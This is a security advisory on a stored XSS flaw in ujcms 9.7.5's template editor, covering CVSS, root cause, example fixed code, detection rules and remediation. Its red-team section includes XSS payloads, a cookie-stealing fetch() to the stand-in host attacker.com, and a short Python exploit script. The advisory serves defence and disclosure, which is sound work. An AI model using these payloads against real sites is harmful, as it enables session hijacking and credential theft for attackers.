CVE-2025-2491

Executive Summary

CVE-2025-2491 is a stored cross-site scripting (XSS) vulnerability identified in Dromara ujcms version 9.7.5. The flaw resides in the WebFileTemplateController.java file, specifically within the update function of the Edit Template File Page. An authenticated attacker with template editing privileges can inject arbitrary JavaScript or HTML into template file content, which is then stored and executed in the browsers of other users who view or manage those templates. This can lead to session hijacking, credential theft, or defacement of the CMS backend.

The vulnerability is classified as problematic with a low CVSS score due to the requirement for authentication and user interaction. However, the exploit has been publicly disclosed, increasing the risk of targeted attacks against ujcms deployments.

Supply Chain & Package Security

This vulnerability affects a Java-based CMS (ujcms) distributed via Maven Central and GitHub. The component is not an NPM, PyPI, Go, or Ruby package, so supply chain risks are limited to the direct dependency on the ujcms artifact. Organizations should verify the integrity of their ujcms JAR files and monitor for official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with template edit rights
• User Interaction: Required (UI:R) – victim must visit the affected template page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is low, the public availability of exploit details and the potential for chaining with other vulnerabilities (e.g., privilege escalation) elevate the risk in production environments.

Deep Dive & Mechanics

The vulnerability exists in the update method of WebFileTemplateController.java. This endpoint handles the saving of template file content. The application fails to sanitize or encode user-supplied input before storing it in the database or file system. When the template is later rendered in the admin panel (e.g., template editor preview), the injected script executes in the context of the victim’s browser.

Root Cause: Lack of output encoding and input validation on template content. The update function likely writes the raw content to a file or database without escaping HTML/JavaScript.

Attack Flow:

1. Attacker authenticates to the ujcms backend with template editing privileges.
2. Attacker navigates to the Edit Template File Page and modifies a template (e.g., index.html).
3. Attacker injects a payload such as <script>alert('XSS')</script> into the template content.
4. The payload is stored and executed when any user (including admins) views or edits that template.

Impact: Stored XSS can lead to:

• Session cookie theft (via document.cookie)
• Redirection to malicious sites
• Defacement of the CMS interface
• Phishing attacks against other users

Vulnerable vs. Patched Code

Vulnerable Code (ujcms 9.7.5):

// WebFileTemplateController.java
@PostMapping("/update")
public String update(@RequestParam String content) {
    // Directly writes content to file without sanitization
    fileService.writeTemplate(content);
    return "success";
}

Patched Code (Hypothetical Fix):

// WebFileTemplateController.java
@PostMapping("/update")
public String update(@RequestParam String content) {
    // Sanitize content using OWASP Java HTML Sanitizer
    String sanitizedContent = HtmlSanitizer.sanitize(content);
    fileService.writeTemplate(sanitizedContent);
    return "success";
}

Key Differences:

• The patched version applies HTML sanitization (e.g., using OWASP Java HTML Sanitizer) to remove or encode malicious scripts.
• Output encoding should also be applied when rendering templates in the admin panel.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to ujcms backend with template editing privileges (e.g., editor role).
• Target URL: http://target-ujcms/admin/template/edit

Exploit Steps:

1. Log in to the ujcms admin panel.
2. Navigate to Templates → Edit Template File.
3. Select a template (e.g., index.html).
4. Inject the following payload into the template content:

   <script>alert(document.cookie)</script>
   

5. Save the template.
6. Any user who views or edits this template will trigger the XSS.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Automated Exploit (Python):

import requests

target = "http://target-ujcms/admin/template/update"
session = requests.Session()
# Authenticate first
session.post("http://target-ujcms/login", data={"username": "editor", "password": "pass"})
payload = {"content": "<script>alert('XSS')</script>"}
response = session.post(target, data=payload)
print("Exploit sent. Check target.")

Blue Team

Detection:

• Monitor for unusual template content modifications, especially those containing <script> tags or event handlers.
• Use WAF rules to block requests with XSS patterns in template content fields.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search logs for POST requests to /admin/template/update with suspicious payloads.
• Review template files for unexpected JavaScript or HTML.

Lab Setup:

1. Deploy ujcms 9.7.5 in a Docker container.
2. Create a test user with template editing privileges.
3. Use Burp Suite or OWASP ZAP to intercept and modify template update requests.
4. Verify XSS by accessing the edited template in a browser.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/template/update with content parameter containing <script> tags.
  • Outbound connections to attacker-controlled domains from the ujcms server (if payload exfiltrates data).
• File System:
  • Template files (e.g., .html, .ftl) containing unexpected JavaScript or HTML.
  • Modified timestamps on template files without corresponding legitimate changes.
• Logs:
  • Application logs showing template update operations from unexpected IPs or users.
  • Web server logs with 200 responses to /admin/template/update followed by 404s to /admin/template/edit.

Detection Engineering

YARA Rule

rule CVE_2025_2491_XSS_Template {
    meta:
        description = "Detects XSS payloads in ujcms template files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2491"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 1MB
}

Sigma Rule

title: CVE-2025-2491 - Stored XSS in ujcms Template Update
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit stored XSS in ujcms by monitoring template update requests with malicious payloads.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2491
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/template/update'
    payload:
        - cs-uri-query|contains: '<script'
        - cs-uri-query|contains: 'onload='
        - cs-uri-query|contains: 'javascript:'
    condition: selection and payload
falsepositives:
    - Legitimate template edits with JavaScript (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2491 - Stored XSS in ujcms Template Update"; flow:to_server; content:"POST"; http_method; content:"/admin/template/update"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Template Editing: Restrict access to the template editor to only trusted administrators.
2. Input Validation: Implement server-side sanitization of template content using a library like OWASP Java HTML Sanitizer.
3. Output Encoding: Ensure all template content is HTML-encoded when rendered in the admin panel.

Long-Term Fix:

• Apply the official patch from Dromara when released (currently UNKNOWN).
• Upgrade to a patched version of ujcms as soon as available.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS patterns in POST requests to /admin/template/update.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit template files for unauthorized modifications.

Valters IT – Securing your digital frontier.